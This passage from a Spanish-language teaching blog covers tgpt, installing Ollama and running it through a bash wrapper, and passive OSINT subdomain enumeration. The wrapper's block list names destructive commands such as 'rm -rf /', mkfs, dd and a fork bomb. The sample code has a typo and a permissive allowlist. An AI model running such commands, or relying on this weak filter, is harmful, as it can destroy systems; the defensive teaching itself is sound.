    • Respuestas erróneas → recordar que la IA puede equivocarse

    Opciones y flags con ejemplos reales

    Uso básico (sin flags)

    
    
    
    
    
    tgpt "¿Qué es un IDS?"
    

    Esto lanza una consulta directa y devuelve una respuesta estándar, con colores y formato amigable.

    Es el modo “háblame como a un humano”.


    -m → Elegir modelo (cuando está disponible)

    El flag -m permite indicar el modelo que se quiere usar.
    No siempre todos los modelos están activos, pero el concepto es clave didácticamente.

    
    
    
    
    
    tgpt -m gpt-3.5-turbo "Explícame qué es OSINT"
    

    Ejemplo técnico:

    
    
    
    
    
    tgpt -m gpt-3.5-turbo "Dame un ejemplo de escaneo pasivo"
    


    Prueba a comparar la misma pregunta con y sin -m y analizar diferencias de detalle, precisión o estilo.


    -s → Modo shell / respuesta corta y directa

    Este flag es oro para Linux.

    -s (shell mode) intenta responder como si fuera una ayuda de terminal: más conciso, menos charla.

    
    
    
    
    
    tgpt -s "comando para listar puertos abiertos en linux"
    

    Salida típica: comandos directos, sin narrativa larga.

    Ejemplo muy útil:

    
    
    
    
    
    tgpt -s "como ver mi ip publica en linux"
    

    -c → Modo conversación (contexto persistente)

    Activa un modo interactivo.
    tgpt recuerda lo que se ha dicho en esa sesión.

    
    
    
    
    
    tgpt -c
    

    Luego:

    
    
    
    
    
    ¿qué es nmap?
    ¿y en qué se diferencia de masscan?
    ponme un ejemplo práctico
    

    Esto es perfecto para:

    • razonamiento progresivo
    • tutoría guiada
    • simulación de mentor técnico

    El contexto se pierde al salir del programa.


    --no-color → Sin colores (scripts, logs, redirecciones)

    Cuando la salida se va a:

    • un archivo
    • un pipe
    • un script bash

    Los colores estorban.

    
    
    
    
    
    tgpt --no-color "qué es un hash" > hash.txt
    

    O encadenado:

    
    
    
    
    
    tgpt --no-color -s "comando para ver procesos" | less
    


    -q → Modo silencioso (solo respuesta)

    El flag -q elimina encabezados y texto adicional.

    
    
    
    
    
    tgpt -q "comando para ver usuarios conectados"
    

    Muy útil cuando:

    • quieres solo la respuesta
    • estás comparando resultados
    • lo usas como apoyo rápido

    Combinando flags (aquí está la magia)

    Ejemplo 1 – Linux puro

    
    
    
    
    
    tgpt -s -q "ver uso de disco en linux"
    

    Respuesta directa, corta, sin ruido.


    Ejemplo 2 – OSINT

    
    
    
    
    
    tgpt -s "herramientas osint que funcionen desde terminal"
    

    Ejemplo 3 – Para scripting

    
    
    
    
    
    tgpt --no-color -s "script bash para comprobar si un host responde a ping"
    

    Ejemplo 4 – Clase de ciberseguridad

    
    
    
    
    
    tgpt -c -s
    

    Y dentro:

    
    
    
    
    
    que es un firewall
    diferencia entre firewall y waf
    ejemplo en entorno real
    

    Ver todas las opciones disponibles

    Siempre recordar a los alumnos:

    
    
    
    
    
    tgpt --help
    

    Esto refuerza un hábito clave: leer la ayuda antes de preguntar.


    Ejercicios

    1. Ejecuta la misma pregunta de 3 formas:
      • sin flags
      • con -s
      • con -s -q
    2. Pregunta:
      • ¿Cuál es más útil para terminal?
      • ¿Cuál para aprender?
      • ¿Cuál para automatizar?

    Ejemplo de pregunta base:

    "comando para ver conexiones activas en linux"
    

    Chuleta rápida de tgpt


    tgpt no es ChatGPT, es una interfaz.
    Lo interesante no es la IA, sino cómo la integras en tu flujo de trabajo Linux:


  • Ollama – Chatbot IA Local en 5 Minutos

    Ollama – Chatbot IA Local en 5 Minutos

    ¿cuándo usar tgpt y cuándo usar Ollama?

    En el ecosistema actual de IA aplicada a terminal y ciberseguridad aparecen dos enfoques muy distintos:

    • tgpt → un cliente que conecta con modelos en la nube
    • Ollama → un motor local que ejecuta modelos en tu propio sistema

    Ambos usan IA. Pero resuelven problemas distintos.


    1. Qué es tgpt (en una frase honesta)

    tgpt es un puente entre tu terminal y modelos en la nube.

    • No ejecuta IA local
    • Envía tus prompts a un servicio externo
    • Devuelve la respuesta en texto, integrada en la terminal

    Mentalmente:

    “Un ChatGPT sin navegador, pegado a la shell.”


    2. Qué es Ollama (en una frase honesta)

    Ollama es una plataforma para ejecutar modelos de IA localmente.

    • Los modelos están en tu disco
    • El razonamiento ocurre en tu máquina
    • No depende de Internet
    • Tú controlas datos, logs y flujos

    Mentalmente:

    “Un motor de IA como si fuera un servicio más del sistema.”


    3. Comparativa

    AspectotgptOllama
    TipoClienteMotor local
    Dónde se ejecuta la IANubeTu servidor
    Requiere InternetSíNo
    PrivacidadBaja–mediaAlta
    Consumo de recursos localesMuy bajoMedio–alto
    Facilidad de usoMuy altaMedia
    Control del sistemaNuloTotal
    Ideal paraConsultas rápidasIntegración técnica
    Uso en producciónNoSí
    Valor educativo en ciberConceptualArquitectónico

    4. Cuándo es mejor usar tgpt

    Usa tgpt cuando:

    • Quieres rapidez
    • Estás aprendiendo conceptos
    • Necesitas ayuda puntual con:
      • comandos
      • sintaxis
      • explicaciones
    • No te importa que el contenido viaje a la nube
    • Estás en un equipo con pocos recursos

    Ejemplos reales:

    • “Explícame este error de Bash”
    • “¿Qué hace este comando?”
    • “Dame una idea rápida”

    tgpt es ideal como calculadora mental avanzada.


    5. Cuándo es mejor usar Ollama

    Usa Ollama cuando:

    • Trabajas con:
      • logs reales
      • datos sensibles
      • salidas de herramientas de ciber
    • Quieres offline
    • Necesitas:
      • automatización
      • integración con scripts
      • auditoría y control
    • Estás enseñando arquitectura y seguridad
    • No quieres depender de terceros

    Ejemplos reales:

    • Analizar auth.log
    • Resumir resultados de nmap
    • Asistir en scripting
    • Crear un copiloto de terminal seguro
    • Laboratorios en red aislada

    Requisitos mínimos Ollama (realistas)

    Antes de tocar nada, conviene saber qué espera Ollama del hierro:

    • Ubuntu Server 24.04 LTS (OK)
    • Arquitectura x86_64
    • CPU decente (funciona sin GPU, pero paciencia)
    • RAM recomendada:
      • 8 GB → modelos pequeños (phi, tinyllama)
      • 16 GB o más → llama3, mistral, etc.
    • Acceso a internet

    Comprueba lo básico:

    lsb_release -a
    uname -m
    free -h
    



    Instalación

    Ollama se instala con un único script oficial. No snaps, no flatpaks, no dramas.

    
    
    
    
    
    curl -fsSL https://ollama.com/install.sh | sh
    

    Qué hace este script (para tu tranquilidad mental):

    • Descarga el binario de Ollama
    • Lo instala en /usr/bin/ollama
    • Crea un servicio systemd
    • Arranca Ollama automáticamente

    Comprobar que el servicio está vivo

    En un server, systemd manda:

    
    
    
    
    
    systemctl status ollama
    

    Deberías ver algo como:

    • Active: active (running)
    • Escuchando en 127.0.0.1:11434

    Si no está activo:

    
    
    
    
    
    sudo systemctl enable --now ollama
    

    Probar Ollama desde terminal

    Aquí viene la parte bonita: usar IA sin navegador.

    Prueba con un modelo ligero primero:

    
    
    
    
    
    ollama run phi
    

    O uno más conocido:

    
    
    
    
    
    ollama run llama3
    

    La primera vez:

    • Descarga el modelo
    • Puede tardar (no está roto, está pensando)

    Cuando veas un prompt tipo:

    
    
    
    
    
    >>> 
    

    Ya tienes un LLM local funcionando. Sin nube. Sin vender tu alma.


    Ver modelos instalados

    
    
    
    
    
    ollama list
    

    Descargar modelos sin ejecutarlos:

    
    
    
    
    
    ollama pull mistral
    ollama pull llama3:8b
    

    Uso como servicio (API local)

    Ollama levanta una API REST en local:

    • URL: http://localhost:11434

    Prueba rápida:

    
    
    
    
    
    curl http://localhost:11434/api/tags
    

    Esto es oro puro para:

    • Scripts Python
    • Herramientas OSINT
    • Automatización en ciber
    • Integrarlo con apps web internas

    Permitir acceso desde otra máquina (opcional)

    ⚠️ Ojo sysadmin: por defecto SOLO escucha en localhost.

    Si quieres que otros equipos accedan (por ejemplo, alumnos o un frontend):

    Edita el servicio:

    
    
    
    
    
    sudo systemctl edit ollama
    

    Añade:

    
    
    
    
    
    [Service]
    Environment="OLLAMA_HOST=0.0.0.0:11434"
    

    Luego:

    
    
    
    
    
    sudo systemctl daemon-reload
    sudo systemctl restart ollama
    

    Y abre firewall si procede:

    
    
    
    
    
    sudo ufw allow 11434/tcp
    

    Dónde guarda Ollama los modelos

    Importante para servidores con discos separados:

    • Por defecto:
      /usr/share/ollama/.ollama

    Puedes moverlo usando:

    
    
    
    
    
    export OLLAMA_MODELS=/ruta/grande/ollama-models
    

    En server con /data o /mnt, esto es muy recomendable.


    Desinstalar

    sudo systemctl stop ollama
    sudo rm /usr/bin/ollama
    sudo rm /etc/systemd/system/ollama.service
    sudo rm -rf /usr/share/ollama
    

    Modelos Ollama – Tamaño en disco y recursos

    ModeloParámetros (B)RAM recomendadaTamaño en disco aprox.VelocidadUso típico
    tinyllama1.1B2–4 GB~0.7 GBMuy altaPruebas rápidas
    qwen2.5:0.5b0.5B2–3 GB~0.4 GBMuy altaComandos simples
    phi2.7B4–6 GB~1.6 GBMuy altaTerminal, docencia
    orca-mini3B6–8 GB~2.0 GBAltaExplicaciones
    mistral7B8 GB~4.1 GBAltaUso técnico
    qwen2.5:7b7B8 GB~4.0 GBAltaCódigo
    llama3:8b ⭐8B8–10 GB~4.7 GBAltaCiber, logs
    codellama7B8–10 GB~3.8–4.2 GBMediaProgramación
    deepseek-coder6–7B8–12 GB~3.5–4.0 GBMediaCódigo
    nous-hermes7–13B8–16 GB~4.5–8.0 GBMediaRazonamiento
    mixtral:8x7bMoE16–32 GB~26–28 GBMediaAnálisis complejo
    llama3:70b70B64+ GB~40–45 GBBajaServidores grandes
    gemma:7b7B8 GB~4.0 GBAltaLenguaje
    yi:6b6B8 GB~3.5 GBMediaMultilenguaje
    yi:34b34B32+ GB~20–22 GBBajaAnálisis profundo

    Comprobar que Ollama está instalado y activo

    En tu Ubuntu Server 24:

    
    
    
    
    
    ollama --version
    systemctl status ollama
    

    Si ves versión y estado active (running), seguimos.


    Instalar (descargar) el modelo codellama

    Instalar un modelo en Ollama es simplemente hacer un pull:

    
    
    
    
    
    ollama pull codellama
    

    Qué ocurre aquí:

    • Se descarga el modelo
    • Se guarda en disco
    • No se ejecuta todavía
    • Puede tardar (son ~4 GB)

    Paciencia de sysadmin.


    Verificar que el modelo está instalado

    
    
    
    
    
    ollama list
    

    Deberías ver algo así:

    
    
    
    
    
    NAME           ID            SIZE     MODIFIED
    codellama      xxxx          ~4.0 GB  …
    

    Usar el modelo

    Modo interactivo

    
    
    
    
    
    ollama run codellama
    

    Te aparecerá:

    
    
    
    
    
    >>>
    

    Ejemplo:

    
    
    
    
    
    >>> escribe un script bash que liste usuarios conectados
    

    Responderá orientado a código, no a charla.


    Uso directo (una sola petición)

    
    
    
    
    
    ollama run codellama "escribe un script en bash para hacer backup de /etc"
    

    Perfecto para redirecciones:

    
    
    
    
    
    ollama run codellama "crea un script de backup de /etc" > backup.sh
    chmod +x backup.sh
    

    Elegir tamaño de codellama (muy importante)

    codellama tiene variantes. Puedes pedir una concreta:

    VarianteRAM recomendadaDisco aprox.
    codellama:7b8–10 GB~3.8 GB
    codellama:13b14–18 GB~7–8 GB
    codellama:34b32+ GB~20 GB

    Ejemplo explícito:

    
    
    
    
    
    ollama pull codellama:7b
    

    Si no indicas nada, Ollama suele traer la variante por defecto (normalmente 7B).

    Uso de Ollama en ejecución del sistema

    Ollama puede:

    • Generar comandos
    • Generar scripts
    • Generar código
    • Analizar salidas de comandos
    • Decidir qué comando habría que ejecutar

    Pero alguien tiene que ejecutarlos. Ese alguien eres tú… o un wrapper.

    El esquema mental sano es este:

    
    
    
    
    
    [ Usuario ] → [ Ollama (razona) ] → [ Script intermedio ] → [ Sistema ]
    

    Nunca:

    
    
    
    
    
    IA → root → caos

    Ollama puede generar contenido:

    
    
    
    
    
    
    
    
    
    
    ollama run llama3 "Escribe un README.md sobre este proyecto" > README.md
    

    Aquí sí crea archivos, pero porque la shell redirige la salida.
    Ollama sigue sin tocar el sistema.


    El peligro real

    El riesgo no es Ollama.
    El riesgo es esto:

    #Peligro
    eval "$(ollama run llama3 'dame un comando para limpiar el sistema')"

    Ejecutar comandos con control (wrapper en Bash)

    #!/bin/bash
    if [ $# -gt 0 ]; then
      pregunta$1
    else
        read -p "Pregunta a la IA: " pregunta
    fi
    
    
    
    respuesta=$(ollama run phi "$pregunta. Devuelve SOLO un comando seguro.")
    
    echo "La IA propone ejecutar:"
    echo "$respuesta"
    
    read -p "¿Ejecutar? (s/n): " ok
    if [[ "$ok" == "s" ]]; then
        eval "$respuesta"
    fi
    

    Qué ocurre aquí:

    • Ollama propone
    • El humano autoriza
    • El sistema ejecuta

    En Linux, un comando es solo:

    • un archivo ejecutable
    • ubicado en un directorio que esté en $PATH

    Si eso se cumple → se ejecuta desde cualquier sitio.

    Compruébalo:

    
    
    
    
    
    echo $PATH
    

    Verás cosas como:

    • /usr/bin
    • /usr/local/bin
    • /bin

    Ahí es donde viven los comandos “del sistema”.


    Opción recomendada: /usr/local/bin (limpio y correcto)

    Supongamos que tu script se llama ollama-shell.sh.

    Mover el script

    
    
    
    
    
    sudo mv ollama-shell.sh /usr/local/bin/ollama-shell
    

    Nota:

    • Quitamos .sh → parece un comando real
    • Linux no necesita extensión

    Dar permisos de ejecución

    
    
    
    
    
    sudo chmod +x /usr/local/bin/ollama-shell
    

    Probar desde cualquier sitio

    
    
    
    
    
    cd /tmp
    ollama-shell
    

    Script Wraper avanzado

    Aquí tienes un script con muchas mas opciones:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # -----------------------------
    # Ollama Shell Assistant (Seguro)
    # - Pregunta a un modelo Ollama local
    # - Fuerza español usando modelo "llama3-es"
    # - Devuelve un único comando
    # - Valida contra lista blanca
    # - Pide confirmación antes de ejecutar
    # - Registra todo en /var/log/ollama-shell.log
    # -----------------------------
    
    MODEL="${MODEL:-llama3-es}"
    LOG_FILE="${LOG_FILE:-/var/log/ollama-shell.log}"
    
    MODE="${MODE:-ask}"  # ask | exec
    TIMEOUT_SECS="${TIMEOUT_SECS:-120}"
    
    # Lista blanca básica de comandos permitidos (ajústala a tu contexto)
    ALLOW_CMDS=(
      "ls" "ll" "pwd" "cd"
      "cat" "less" "head" "tail"
      "grep" "egrep" "fgrep" "awk" "sed" "cut" "sort" "uniq" "wc"
      "find" "locate" "which" "whereis"
      "ip" "ss" "netstat" "ping" "traceroute" "dig" "nslookup" "curl" "wget"
      "ps" "top" "htop" "free" "df" "du" "uptime" "uname" "lsblk"
      "systemctl" "journalctl"
      "who" "w" "id" "groups" "last" "lastb"
      "tar" "gzip" "gunzip" "zip" "unzip"
      "apt" "apt-get" "dpkg" "snap"
      "nmap"
    )
    
    print_help() {
      cat <<'EOF'
    Uso:
      ollama-shell [-e] [-m MODELO] "pregunta..."
      ollama-shell --suggest "pregunta..."
      ollama-shell --exec "pregunta..."
      ollama-shell --help
    
    Opciones:
      -m, --model     Modelo Ollama a usar (por defecto: llama3-es)
      -e, --exec      Permite ejecutar (con confirmación humana)
      --suggest       Solo sugiere (no ejecuta)
      --log FILE      Archivo de log (por defecto: /var/log/ollama-shell.log)
    
    Variables:
      MODEL=llama3-es
      MODE=ask|exec
      LOG_FILE=/var/log/ollama-shell.log
      TIMEOUT_SECS=120
    
    Notas:
    - El modelo debe devolver SOLO UN comando.
    - Se valida el comando contra una lista blanca básica.
    EOF
    }
    
    die() {
      echo "ERROR: $*" >&2
      exit 1
    }
    
    ensure_ollama() {
      command -v ollama >/dev/null 2>&1 || die "No encuentro 'ollama' en PATH. ¿Está instalado?"
      systemctl is-active --quiet ollama 2>/dev/null || true
    }
    
    ensure_log_writable() {
      # Intentar escribir en LOG_FILE; si no se puede, degradar a ~/.ollama-shell.log
      if ! (touch "$LOG_FILE" 2>/dev/null); then
        LOG_FILE="$HOME/.ollama-shell.log"
        touch "$LOG_FILE" || die "No puedo escribir logs ni en /var/log ni en HOME."
      fi
    }
    
    log_line() {
      local msg="$1"
      printf '%s | user=%s | cwd=%s | %s\n' "$(date '+%F %T')" "${USER:-unknown}" "$(pwd)" "$msg" >> "$LOG_FILE"
    }
    
    trim() {
      sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//'
    }
    
    first_token() {
      # Devuelve el primer token (comando base), ignorando sudo si aparece
      local s="$1"
      s="$(echo "$s" | trim)"
      if [[ "$s" == sudo\ * ]]; then
        echo "$s" | awk '{print $2}'
      else
        echo "$s" | awk '{print $1}'
      fi
    }
    
    is_allowed_cmd() {
      local cmd="$1"
      for a in "${ALLOW_CMDS[@]}"; do
        [[ "$cmd" == "$a" ]] && return 0
      done
      return 1
    }
    
    looks_dangerous() {
      # Filtros anti-destrucción básicos (no exhaustivos)
      local s="$1"
      s="$(echo "$s" | trim)"
      [[ -z "$s" ]] && return 0
    
      # Cosas típicas peligrosas
      if echo "$s" | grep -Eqi 'rm\s+-rf\s+/' ; then return 0; fi
      if echo "$s" | grep -Eqi 'mkfs|dd\s+if=|:\(\)\s*\{\s*:\|\s*:\s*;\s*\}\s*;|shutdown|reboot|poweroff' ; then return 0; fi
      if echo "$s" | grep -Eqi '>\s*/etc/|>\s*/bin/|>\s*/usr/bin/|chown\s+root|chmod\s+4[0-7]{3}|chmod\s+u\+s' ; then return 0; fi
    
      # Inyección obvia
      if echo "$s" | grep -Eqi '\$\(|`' ; then return 0; fi
    
      return 1
    }
    
    ask_ollama_for_command() {
      local question="$1"
    
      local prompt
      prompt=$(
        cat <<EOF
    Eres un asistente técnico experto en Linux y ciberseguridad.
    Respondes SIEMPRE en español.
    Tu tarea: proponer EXACTAMENTE UN comando de terminal (una sola línea) para ayudar con la petición del usuario.
    REGLAS:
    - Devuelve SOLO el comando. Sin explicaciones. Sin comillas. Sin markdown.
    - El comando debe ser lo más seguro posible (preferir lectura/consulta a escritura).
    - Evita acciones destructivas. No uses rm, mkfs, dd, ni cambios de permisos peligrosos.
    Petición del usuario:
    $question
    EOF
      )
    
      # Timeout para evitar bloqueos largos
      # Nota: 'timeout' suele estar en coreutils
      if command -v timeout >/dev/null 2>&1; then
        timeout "$TIMEOUT_SECS" ollama run "$MODEL" "$prompt" 2>/dev/null | head -n 1 | trim
      else
        ollama run "$MODEL" "$prompt" 2>/dev/null | head -n 1 | trim
      fi
    }
    
    confirm() {
      local msg="$1"
      read -r -p "$msg (s/n): " ans
      [[ "${ans,,}" == "s" ]]
    }
    
    main() {
      local question=""
      local explicit_mode=""
      local explicit_model=""
      local explicit_log=""
    
      while [[ $# -gt 0 ]]; do
        case "$1" in
          -m|--model) explicit_model="$2"; shift 2 ;;
          -e|--exec) explicit_mode="exec"; shift ;;
          --suggest) explicit_mode="ask"; shift ;;
          --log) explicit_log="$2"; shift 2 ;;
          -h|--help) print_help; exit 0 ;;
          *)
            # Resto como pregunta (permitimos comillas)
            question="$*"
            break
            ;;
        esac
      done
    
      [[ -n "$explicit_model" ]] && MODEL="$explicit_model"
      [[ -n "$explicit_mode" ]] && MODE="$explicit_mode"
      [[ -n "$explicit_log" ]] && LOG_FILE="$explicit_log"
    
      [[ -z "$question" ]] && die "Falta la pregunta. Usa --help para ver ejemplos."
    
      ensure_ollama
      ensure_log_writable
    
      log_line "question=$(printf '%q' "$question") model=$MODEL mode=$MODE"
    
      local cmd
      cmd="$(ask_ollama_for_command "$question")"
    
      log_line "raw_cmd=$(printf '%q' "$cmd")"
    
      [[ -z "$cmd" ]] && die "El modelo no devolvió un comando."
    
      # Validaciones básicas
      if looks_dangerous "$cmd"; then
        log_line "blocked_reason=dangerous_pattern"
        die "Comando bloqueado por patrón peligroso: $cmd"
      fi
    
      local base
      base="$(first_token "$cmd")"
      if ! is_allowed_cmd "$base"; then
        log_line "blocked_reason=not_in_allowlist base=$base"
        die "Comando bloqueado (no está en la lista blanca): $base"
      fi
    
      echo "$cmd"
    
      if [[ "$MODE" == "exec" ]]; then
        if confirm "¿Ejecutar el comando anterior?"; then
          log_line "exec=YES cmd=$(printf '%q' "$cmd")"
          # Ejecuta tal cual (sin eval). Bash interpretará la línea como comando.
          bash -lc "$cmd"
        else
          log_line "exec=NO"
          echo "Cancelado."
        fi
      else
        echo "Modo sugerencia (no ejecuto nada). Usa --exec para permitir ejecución con confirmación."
      fi
    }
    
    main "$@"
    

    Instalación global (para todo el sistema)

    1. Mueve el script a /usr/local/bin y dale permisos:
    
    
    
    
    
    sudo mv ollama-shell /usr/local/bin/ollama-shell
    sudo chmod +x /usr/local/bin/ollama-shell
    
    1. Prueba:
    
    
    
    
    
    ollama-shell "muestra los puertos en escucha"
    
    1. Para permitir ejecución (con confirmación):
    
    
    
    
    
    ollama-shell --exec "muestra los últimos intentos de login fallidos"
    

    Forma más simple: usar el modelo por defecto

    En el script que te pasé, al principio tienes:

    
    
    
    
    
    MODEL="${MODEL:-llama3-es}"
    

    Eso significa:

    • Si no indicas nada, usa llama3-es
    • Es el comportamiento por defecto

    Ejemplo:

    
    
    
    
    
    ollama-shell "lista los usuarios conectados"
    

    Usa automáticamente llama3-es.


    Indicar el modelo en la llamada (recomendado)

    El script soporta el parámetro -m o --model.

    Ejemplo:

    
    
    
    
    
    ollama-shell -m codellama-es "crea un script bash para hacer backup de /etc"
    

    Aquí:

    • No tocas el script
    • Cambias el modelo solo para esa ejecución
    • Ideal para comparar modelos en clase

    Forzar el modelo con variable de entorno

    Esto es muy Unix y muy elegante.

    Para una sola ejecución

    
    
    
    
    
    MODEL=codellama-es ollama-shell "analiza este script"
    

    Para toda la sesión

    
    
    
    
    
    export MODEL=codellama-es
    ollama-shell "genera un Makefile sencillo"
    

    Hasta que cierres la terminal, siempre usará ese modelo.


    Cambiar el modelo por defecto en el script

    Si quieres que siempre use codellama-es, edita el script:

    
    
    
    
    
    nano /usr/local/bin/ollama-shell
    

    Busca:

    
    
    
    
    
    MODEL="${MODEL:-llama3-es}"
    

    Y cambia a:

    
    
    
    
    
    MODEL="${MODEL:-codellama-es}"
    

    A partir de ahí, ese será el modelo base.


    Ver qué modelo se está usando (opcional pero didáctico)

    Si quieres que el script lo muestre, añade justo antes de llamar a Ollama:

    
    
    
    
    
    echo "Modelo en uso: $MODEL"
    

    O loguéalo:

    
    
    
    
    
    log_line "model_in_use=$MODEL"
    

    Esto es muy bueno para auditoría


    Ejemplos

    ComandoQué ocurre
    ollama-shell "ver procesos"Usa modelo por defecto
    ollama-shell -m phi "ver procesos"Usa phi
    MODEL=codellama-es ollama-shell "crear script"Usa codellama-es
    ollama-shell --exec -m llama3-es "ver puertos"Ejecuta con llama3-es

    Comandos básicos que conviene conocer

    
    
    
    
    
    ollama run llama3:8b # Ejecutar modelo
    ollama list # Modelos instalados 
    ollama pull mistral # Descargar modelo 
    ollama rm mistral # Borrar modelo 
    ollama ps # Modelos en uso 
    ollama stop llama3:8b # Detener modelo

    Instalación en Mac-os

    1️⃣ Descarga

    https://ollama.com/download/mac

    Pulsa Download for macOS


    2️⃣ Instala

    • Abre el .dmg
    • Arrastra Ollama a Applications
    • Ábrelo (la primera vez macOS pedirá permiso)

    📌Ollama se queda ejecutándose en segundo plano (daemon).


    3️⃣ Verifica desde Terminal

    Abre Terminal y ejecuta:

    
    
    
    
    
    ollama --version
    

    Si ves algo como:

    
    
    
    
    
    ollama version x.x.x
    

    ✔️ Instalación correcta


    Primer uso: ejecutar un modelo

    Descargar y ejecutar LLaMA 3 (8B)

    
    
    
    
    
    ollama run llama3:8b
    

    La primera vez:

    • Descarga el modelo (varios GB)
    • Luego entras directamente en modo conversación
  • Reconocimiento de dominios por terminal y scripting

    Reconocimiento de dominios por terminal y scripting

    ¿Qué es OSINT y por qué usar terminal?

    OSINT (Open Source Intelligence) es el arte —y la ciencia— de obtener información a partir de fuentes públicas, sin interactuar activamente con el objetivo ni alterar sistemas.

    Trabajar desde la terminal tiene varias ventajas clave:

    • Reproducibilidad: lo que haces hoy lo puedes repetir mañana.
    • Automatización: un comando hoy, un script mañana.
    • Mentalidad analítica: piensas en datos, no en interfaces.
    • Escalabilidad: una IP, cien dominios o mil subdominios.

    1. AMASS – Descubrimiento de subdominios (OSINT real)

    ¿Qué es Amass?

    Amass es una herramienta de OWASP diseñada para mapear la superficie externa de una organización, utilizando únicamente fuentes públicas cuando se trabaja en modo pasivo.

    No escanea puertos, no lanza exploits. Pregunta a Internet lo que Internet ya sabe.

    Instalación en Ubuntu

    
    
    
    
    
    sudo apt update
    sudo apt install amass 
    
    #Tambien puedes usar snap 
    snap install amass 
    
    

    Comprobación:

    
    
    
    
    
    amass version
    

    Uso básico (modo pasivo)

    
    
    
    
    
    amass enum -passive -d ejemplo.com
    

    Qué está ocurriendo aquí:

    • enum: modo enumeración
    • -passive: solo fuentes OSINT
    • -d: dominio objetivo

    Resultado típico:

    • mail.ejemplo.com
    • api.ejemplo.com
    • dev.ejemplo.com

    Cada subdominio es una posible pieza de infraestructura real.


    Uso con salida a archivo

    
    
    
    
    
    amass enum -passive -d ejemplo.com -o subdominios.txt
    

    Esto es clave para:

    • Documentar
    • Analizar después
    • Usar como entrada para otras herramientas

    Enumeración con múltiples dominios

    
    
    
    
    
    amass enum -passive -df dominios.txt -o resultados.txt
    

    Donde dominios.txt contiene:

    
    
    
    
    
    ejemplo.com
    ejemplo.org
    ejemplo.net
    

    Aquí ya empiezan a pensar como analistas, no como usuarios.


    Advertencia ética

    Amass no rompe nada, pero:

    • Solo se usa sobre dominios autorizados o de práctica
    • Nunca sobre empresas reales sin permiso
    • El objetivo es aprender metodología, no recolectar víctimas

    2. Subfinder – Enumeración rápida y minimalista

    ¿Qué es Subfinder?

    Subfinder hace una cosa y la hace muy bien:
    descubrir subdominios usando fuentes OSINT, de forma rápida y limpia.

    Es ideal para:

    • Resultados rápidos
    • Scripts
    • Integrarlo con otras herramientas

    Instalación en Ubuntu

    Opción repositorios:

    
    
    
    
    
    sudo apt install subfinder
    

    Opción manual (recomendado para versiones recientes):

    
    
    
    
    
    sudo apt install snapd
    sudo snap install subfinder
    

    Uso básico

    
    
    
    
    
    subfinder -d ejemplo.com
    

    Salida:

    • Lista de subdominios uno por línea
    • Sin ruido
    • Perfecto para canalizar a otros comandos

    Guardar resultados

    
    
    
    
    
    subfinder -d ejemplo.com -o subfinder.txt
    

    Comparación mental con Amass

    Aquí conviene explicárselo así al alumno:

    • Amass: más pesado, más contexto, más fuentes
    • Subfinder: rápido, limpio, directo
    • Ambos son OSINT pasivo
    • En un proyecto real, se usan juntos

    3. Geolocalización – Poniendo los pies en la Tierra

    La geolocalización no es solo “ver el país”.
    Es contexto físico, legal y técnico.


    3.1 Geolocalización de IP con whois

    
    
    
    
    
    whois 8.8.8.8
    

    Información relevante:

    • País
    • Organización
    • ASN
    • Rango de IPs

    Esto permite responder preguntas como:

    • ¿Está en Europa o fuera?
    • ¿Es cloud o infraestructura propia?
    • ¿Qué proveedor hay detrás?

    3.2 Uso de geoiplookup

    Instalación:

    
    
    
    
    
    sudo apt install geoip-bin
    

    Uso:

    
    
    
    
    
    geoiplookup 8.8.8.8
    

    Salida:

    • País
    • Región aproximada

    Ideal para scripting rápido.


    3.3 Geolocalización con APIs desde terminal

    Ejemplo con curl:

    
    
    
    
    
    curl ipinfo.io/8.8.8.8
    

    Devuelve JSON:

    • Ciudad
    • País
    • Coordenadas
    • ASN
    • Organización

    Aquí puedes introducir:

    • Parseo con jq
    • Automatización
    • Correlación con subdominios

    4. Uniendo piezas: OSINT como proceso

    Aquí es donde el taller se vuelve interesante.

    Ejemplo de flujo real:

    1. Amass descubre subdominios
    2. Subfinder confirma y amplía
    3. Se resuelven IPs
    4. Se geolocalizan
    5. Se detecta:
      • Infraestructura cloud
      • Distribución geográfica
      • Entornos de desarrollo expuestos

    No es magia. Es método.


    5. Ejemplo

    
    
    
    
    
    amass enum -passive -d ejemplo.com -o amass.txt
    subfinder -d ejemplo.com -o subfinder.txt
    sort amass.txt subfinder.txt | uniq > subdominios_finales.txt
    

    Luego:

    
    
    
    
    
    while read sub; do
      echo "Resolviendo $sub"
      host $sub
    done < subdominios_finales.txt
    

    Esto ya es pensar en scripts, no en comandos sueltos.


    OSINT no es “buscar cosas”, es formular hipótesis

    La terminal no es incómoda, es poderosa

    Cada dato aislado no dice nada

    La inteligencia aparece al correlacionar

  • Actividad: Del píxel al polígono

    Actividad: Del píxel al polígono

    Arqueología del videojuego y evolución del hardware

    Contexto de la actividad

    En esta sesión realizaremos una actividad práctica y lúdica utilizando Raspberry Pi con juegos retro y gafas de realidad virtual (VR). El objetivo no es solo jugar, sino analizar un videojuego clásico como producto tecnológico, entendiendo el hardware en el que nació, comparándolo con ordenadores profesionales de su época y reflexionando sobre cómo podría adaptarse al hardware actual.

    Los videojuegos retro son un excelente ejemplo de cómo la creatividad y el diseño se adaptaban a fuertes limitaciones técnicas. Esta actividad te propone investigar, comparar y soñar… pero siempre con base técnica.


    Desarrollo de la actividad

    Fase 1 · Exploración del juego (en clase)

    Durante la sesión en clase:

    • Utilizarás una Raspberry Pi con emuladores y mandos.
    • Seleccionarás un único videojuego retro de cualquiera de las plataformas disponibles (arcade, NES, SNES, Mega Drive, PlayStation, etc.).
    • Jugarás durante un tiempo limitado con el objetivo de observar, no de completar el juego.

    Debes fijarte especialmente en:

    • Tipo de controles
    • Gráficos y estilo visual
    • Sonido y música
    • Dificultad
    • Ritmo del juego

    Fase 2 · Ficha técnica del videojuego

    En el trabajo a entregar deberás incluir una ficha con la siguiente información:

    • Nombre del videojuego
    • Año aproximado de lanzamiento
    • Plataforma o plataformas originales
    • Tipo de juego (plataformas, shooter, puzzle, etc.)

    Fase 3 · Análisis de la plataforma original

    Analiza el hardware original para el que fue creado el juego:

    • Número de bits de la plataforma (8, 16, 32 bits, etc.)
    • Tipo de CPU (si se conoce)
    • Memoria aproximada
    • Resolución gráfica típica
    • Tipo de soporte (cartucho, CD, placa arcade…)

    Reflexiona brevemente sobre qué limitaciones técnicas tenía esa plataforma y cómo influyeron en el diseño del juego.


    Mientras jugábamos… ¿qué usaban los profesionales?

    Fase 4 · Hardware profesional contemporáneo

